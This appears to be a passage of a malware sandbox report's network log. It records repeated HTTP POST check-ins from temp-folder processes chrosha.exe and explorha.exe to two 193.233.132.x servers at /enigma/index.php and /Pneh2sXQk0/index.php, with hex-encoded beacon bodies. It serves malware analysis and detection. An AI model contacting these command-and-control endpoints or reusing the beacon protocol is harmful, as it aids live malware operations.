Apr 19, 2024 03:32:10.421458006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.5	50321	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:10.525193930 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:10.773844004 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.5	50322	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:10.774523973 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:11.020555019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.5	50323	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:11.020083904 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:11.265017986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.5	50324	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:11.272608042 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:11.522196054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.5	50325	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:11.621469975 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:11.869721889 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.5	50326	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:11.910315990 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:12.161250114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.5	50327	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:12.121473074 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:12.374320030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.5	50328	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:12.409400940 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:12.657777071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.5	50329	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:12.727643013 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:12.975064039 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.5	50330	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:13.022244930 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:13.266134024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.5	50331	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:13.226464987 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:13.478275061 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.5	50332	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:13.508459091 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:13.750515938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.5	50333	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:13.839209080 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:14.083681107 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.5	50334	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:14.115251064 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:14.359792948 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.5	50335	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:14.331918955 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:14.581792116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.5	50336	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:14.611100912 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:14.862996101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.5	50337	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:14.942354918 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:15.186094046 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.5	50338	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:15.222395897 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:15.465049028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.5	50339	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:15.443209887 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:15.698558092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.5	50340	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:15.605739117 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:15.858365059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.5	50341	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:16.057404041 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:16.304892063 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.5	50342	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:16.211976051 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:16.459619999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.5	50343	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:16.557760000 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:16.815040112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
